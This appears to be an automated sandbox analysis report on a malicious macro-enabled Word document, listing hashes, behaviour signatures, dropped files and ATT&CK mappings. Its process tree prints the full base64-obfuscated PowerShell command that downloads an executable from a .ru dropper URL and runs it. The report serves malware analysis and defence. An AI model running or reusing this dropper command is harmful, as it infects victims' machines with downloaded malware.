Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2024 01:09

General

  • Target

    173d644887fe55f54403e56181f9f4a61283332b264b2664bdd05f90317b9519.docm

  • Size

    519KB

  • MD5

    f81b30a64f41a0f7a310ca679a228d79

  • SHA1

    356cb6b79fc52f1b3fa931865603e8154459a0ee

  • SHA256

    173d644887fe55f54403e56181f9f4a61283332b264b2664bdd05f90317b9519

  • SHA512

    4a520ffbaca8e870bc32bbf19f3c3f93cf76ed5f6b913c69ce6eb9bf229df4f8709ccbe265a0e19822ba09d431e89e0c6d8d4be601b767f321e2c3012ea1c7ce

  • SSDEEP

    6144:ELEc+F+HLHNIvPl8qZDC9VT8L38S8WyI6OLxoq5seCsH8BB3y8dqtUO2TsyUrYA:ELEcJHNopZW9eLH8WyITLfyXXvqxjb

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://monopoliafromyou.ru/download/2.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\173d644887fe55f54403e56181f9f4a61283332b264b2664bdd05f90317b9519.docm" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2748
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFcgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyAkVSA9ICdodHRwOi8vbW9ub3BvbGlhZnJvbXlvdS5ydS9kb3dubG9hZC8yLmV4ZSc7ICRQID0gJ0M6XFByb2dyYW1EYXRhXDEyMy5leGUnOyAkVy5Eb3dubG9hZEZpbGUoJFUsICRQKTsgSW52b2tlLUV4cHJlc3Npb24gJFA7')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:436
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        Powershell -C $B = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String('JFcgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyAkVSA9ICdodHRwOi8vbW9ub3BvbGlhZnJvbXlvdS5ydS9kb3dubG9hZC8yLmV4ZSc7ICRQID0gJ0M6XFByb2dyYW1EYXRhXDEyMy5leGUnOyAkVy5Eb3dubG9hZEZpbGUoJFUsICRQKTsgSW52b2tlLUV4cHJlc3Npb24gJFA7')); $C = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($B)); powershell -E $C;
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1620
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E JABXACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAgACQAVQAgAD0AIAAnAGgAdAB0AHAAOgAvAC8AbQBvAG4AbwBwAG8AbABpAGEAZgByAG8AbQB5AG8AdQAuAHIAdQAvAGQAbwB3AG4AbABvAGEAZAAvADIALgBlAHgAZQAnADsAIAAkAFAAIAA9ACAAJwBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXAAxADIAMwAuAGUAeABlACcAOwAgACQAVwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABVACwAIAAkAFAAKQA7ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJABQADsA
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5012
          • C:\ProgramData\123.exe
            "C:\ProgramData\123.exe"
            5⤵
            • Executes dropped EXE
            PID:2096

Network

MITRE ATT&CK Matrix ATT&CK v13

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\123.exe
    Filesize

    1.4MB

    MD5

    f43852a976edcab5a7c82d248ce242d2

    SHA1

    446ac2bb76e472c185f56b2b1246910a4438246d

    SHA256

    4a38db0744930e1f5bfc0a82f63c907f7dc94270b930a3950e6a0abbc903c47f

    SHA512

    3b4ab06664cb4c228ef0e85cc38d4035d4d2c0b4febd7fa410da65bbcc7b4eafbec924e8d14f02432125fa3d9fb22e50a87707b1c1028ad5d3f0bfbcd4b4075e

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    64B

    MD5

    5caad758326454b5788ec35315c4c304

    SHA1

    3aef8dba8042662a7fcf97e51047dc636b4d4724

    SHA256

    83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

    SHA512

    4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

  • C:\Users\Admin\AppData\Local\Temp\TCD8B82.tmp\sist02.xsl
    Filesize

    245KB

    MD5

    f883b260a8d67082ea895c14bf56dd56

    SHA1

    7954565c1f243d46ad3b1e2f1baf3281451fc14b

    SHA256

    ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

    SHA512

    d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_njynlyec.xkh.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1620-33-0x00000128B2E40000-0x00000128B2E62000-memory.dmp
    Filesize

    136KB

  • memory/2748-13-0x00007FFAAD290000-0x00007FFAAD485000-memory.dmp
    Filesize

    2.0MB

  • memory/2748-6-0x00007FFAAD290000-0x00007FFAAD485000-memory.dmp
    Filesize

    2.0MB

  • memory/2748-2-0x00007FFA6D310000-0x00007FFA6D320000-memory.dmp
    Filesize

    64KB

  • memory/2748-14-0x00007FFAAD290000-0x00007FFAAD485000-memory.dmp
    Filesize

    2.0MB

  • memory/2748-12-0x00007FFAAD290000-0x00007FFAAD485000-memory.dmp
    Filesize

    2.0MB

  • memory/2748-15-0x00007FFAAD290000-0x00007FFAAD485000-memory.dmp
    Filesize

    2.0MB

  • memory/2748-16-0x00007FFA6AC90000-0x00007FFA6ACA0000-memory.dmp
    Filesize

    64KB

  • memory/2748-11-0x00007FFAAD290000-0x00007FFAAD485000-memory.dmp
    Filesize

    2.0MB

  • memory/2748-10-0x00007FFAAD290000-0x00007FFAAD485000-memory.dmp
    Filesize

    2.0MB

  • memory/2748-17-0x00007FFA6AC90000-0x00007FFA6ACA0000-memory.dmp
    Filesize

    64KB

  • memory/2748-8-0x00007FFAAD290000-0x00007FFAAD485000-memory.dmp
    Filesize

    2.0MB

  • memory/2748-7-0x00007FFAAD290000-0x00007FFAAD485000-memory.dmp
    Filesize

    2.0MB

  • memory/2748-30-0x00007FFAAD290000-0x00007FFAAD485000-memory.dmp
    Filesize

    2.0MB

  • memory/2748-31-0x00007FFAAD290000-0x00007FFAAD485000-memory.dmp
    Filesize

    2.0MB

  • memory/2748-32-0x00007FFAAD290000-0x00007FFAAD485000-memory.dmp
    Filesize

    2.0MB

  • memory/2748-9-0x00007FFAAD290000-0x00007FFAAD485000-memory.dmp
    Filesize

    2.0MB

  • memory/2748-5-0x00007FFAAD32D000-0x00007FFAAD32E000-memory.dmp
    Filesize

    4KB

  • memory/2748-0-0x00007FFA6D310000-0x00007FFA6D320000-memory.dmp
    Filesize

    64KB

  • memory/2748-4-0x00007FFA6D310000-0x00007FFA6D320000-memory.dmp
    Filesize

    64KB

  • memory/2748-1-0x00007FFA6D310000-0x00007FFA6D320000-memory.dmp
    Filesize

    64KB

  • memory/2748-3-0x00007FFA6D310000-0x00007FFA6D320000-memory.dmp
    Filesize

    64KB

  • memory/2748-548-0x00007FFAAD290000-0x00007FFAAD485000-memory.dmp
    Filesize

    2.0MB

  • memory/2748-549-0x00007FFAAD290000-0x00007FFAAD485000-memory.dmp
    Filesize

    2.0MB

  • memory/2748-550-0x00007FFAAD290000-0x00007FFAAD485000-memory.dmp
    Filesize

    2.0MB

  • memory/2748-571-0x00007FFA6D310000-0x00007FFA6D320000-memory.dmp
    Filesize

    64KB

  • memory/2748-574-0x00007FFA6D310000-0x00007FFA6D320000-memory.dmp
    Filesize

    64KB

  • memory/2748-573-0x00007FFA6D310000-0x00007FFA6D320000-memory.dmp
    Filesize

    64KB

  • memory/2748-572-0x00007FFA6D310000-0x00007FFA6D320000-memory.dmp
    Filesize

    64KB

  • memory/2748-575-0x00007FFAAD290000-0x00007FFAAD485000-memory.dmp
    Filesize

    2.0MB